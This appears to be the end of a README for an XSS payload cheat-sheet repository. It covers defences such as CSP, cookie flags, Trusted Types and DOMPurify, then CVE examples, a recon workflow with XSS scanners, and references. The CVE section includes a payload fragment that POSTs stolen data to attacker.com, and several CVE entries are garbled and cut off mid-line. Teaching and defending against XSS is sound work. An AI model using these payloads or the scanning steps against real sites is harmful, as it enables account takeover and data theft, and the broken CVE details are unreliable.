- On server side, HTML-encode all user input before inserting into HTML: `&`, `<`, `>`, `"`, `'`
- URL-encode user input placed in `href`, `src`, or action attributes
- JavaScript-encode user input placed inside `` blocks

**Content Security Policy:**
```
Content-Security-Policy: default-src 'self'; 
  script-src 'self' 'nonce-{RANDOM}'; 
  style-src 'self' 'nonce-{RANDOM}'; 
  object-src 'none'; 
  base-uri 'self'; 
  frame-ancestors 'self';
```

**Cookie Protection:**
```
Set-Cookie: session=TOKEN; HttpOnly; Secure; SameSite=Strict
```
- `HttpOnly` β€” prevents JavaScript from reading the cookie
- `Secure` β€” only sent over HTTPS
- `SameSite=Strict` β€” prevents CSRF and reduces cookie theft utility

**Trusted Types (Modern Browsers):**
```
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types default
```
```javascript
// Force all DOM sinks to use Trusted Types β€” compile-time XSS prevention
const policy = trustedTypes.createPolicy('default', {
  createHTML: (str) => DOMPurify.sanitize(str),
  createScriptURL: (str) => { /* validate URL */ return str; }
});
element.innerHTML = policy.createHTML(userInput); // Safe
```

**Sanitization Libraries:**
- **DOMPurify** β€” the gold standard client-side HTML sanitizer
```javascript
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);
```

**Security Headers:**
```
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
```

**Additional Mitigations:**
- Validate content type of uploaded files on server-side (magic bytes, not just extension)
- Serve user-uploaded files from a separate origin (files.example.com)
- Use `sandbox` attribute on iframes: ``
- Implement WAF as defense-in-depth (not as primary control)
- Regular security testing: SAST, DAST, and manual pentesting
- Subresource Integrity (SRI) for external scripts:
```html

```

---

## πŸ” Real-World CVEs

### CVE-2021-22911 β€” Rocket.Chat Stored XSS (Critical)

**Affected:** Rocket.Chat 
r.json())
  .then(d=>fetch('https://attacker.com/users',{method:'POST',body:JSON.stringify(d)}))
">XSS
```
**Impact:** Admin account takeover by sending the SVG in a chat message to an admin.  
**Reference:** https://hackerone.com/reports/1057429

---

### CVE-2022-24734 β€” MyBB Stored XSS (High)

**Affected:** MyBB 
```
**Impact:** Anyone creating a Kafka topic with a malicious name could steal cookies from every admin who views the topics list.

---

### CVE-2023-3422 β€” Google Chrome Type Confusion (Critical)

**Affected:** Chrome  params.txt
paramspider -d target.com -o spider.txt

# Step 2: Find reflected parameters quickly
cat params.txt | kxss
cat params.txt | Gxss -c 100 -p Xss

# Step 3: Deep scan with dalfox
cat params.txt | dalfox pipe --silence

# Step 4: Manual testing with Burp Suite
# - Proxy all traffic
# - Use Intruder with XSS payload list
# - Check DOM Invader extension for DOM XSS

# Step 5: Blind XSS payloads in all text fields
# - Contact forms, profile fields, feedback
# - With XSS Hunter payload

# Step 6: Test file uploads for SVG/HTML XSS
# Upload evil.svg, check if served from same origin
```

---

## πŸ“š References

| Resource | Description | URL |
|----------|-------------|-----|
| **PortSwigger Web Academy** | Free, hands-on XSS labs covering all types | https://portswigger.net/web-security/cross-site-scripting |
| **OWASP XSS Prevention Cheat Sheet** | Defense-focused guide | https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html |
| **OWASP Testing Guide β€” XSS** | Testing methodology | https://owasp.org/www-project-web-security-testing-guide/ |
| **PayloadsAllTheThings** | Broad payload collection | https://github.com/swisskyrepo/PayloadsAllTheThings |
| **HackTricks XSS** | Comprehensive XSS tricks | https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting |
| **XSS Cheat Sheet (PortSwigger)** | Context-aware payload reference | https://portswigger.net/web-security/cross-site-scripting/cheat-sheet |
| **HTML5 Security Cheatsheet** | XSS vectors by HTML5 element | https://html5sec.org |
| **The Tangled Web** | Deep dive into browser security models (book) | https://nostarch.com/tangledweb |
| **The Web Application Hacker's Handbook** | Classic pentest textbook | ISBN: 978-1118026472 |
| **Cure53 DOMPurify Bypasses** | Historical bypass research | https://github.com/cure53/DOMPurify/tree/main/demos |
| **XS-Leaks Wiki** | Advanced cross-site attacks | https://xsleaks.dev |
| **Google's XSS Game** | Practice XSS in a safe environment | https://xss-game.appspot.com |
| **PentesterLab XSS** | Structured XSS learning with certificates | https://pentesterlab.com |

### Papers & Research

- **Klein, A. (2005)** β€” "DOM Based Cross Site Scripting or XSS of the Third Kind" β€” the original DOM XSS paper
- **Heiderich et al. (2012)** β€” "mXSS Attacks: Attacking well-secured Web-Applications by using innerHTML Mutations" β€” mXSS original research
- **Lekies et al. (2013)** β€” "25 Million Flows Later: Large-scale Detection of DOM-based XSS" β€” large scale DOM XSS study
- **Steffens et al. (2019)** β€” "Don't Trust The Locals: Investigating the Prevalence of Persistent Client-Side Cross-Site Scripting in the Wild"

---

## Contributing

Contributions are welcome and appreciated! Please read [`CONTRIBUTING.md`](CONTRIBUTING.md) before submitting.

**Quick guide:**
- All payloads must be real, tested, and educational
- Include context: what filter it bypasses, what browser it works in
- Format: follow existing markdown style
- No duplicate payloads (check existing content first)
- Security research only β€” no targeted attack assistance

---



**If this helped you, please ⭐ star the repo β€” it helps others find it!**

Made with ❀️ for the security community · [MIT License](LICENSE) · © 2026 Arda Kocadoru

Keywords: `xss cheatsheet` `cross-site scripting` `xss payloads` `filter bypass` `waf bypass` `csp bypass` `dom xss` `blind xss` `xss 2026` `web security` `penetration testing`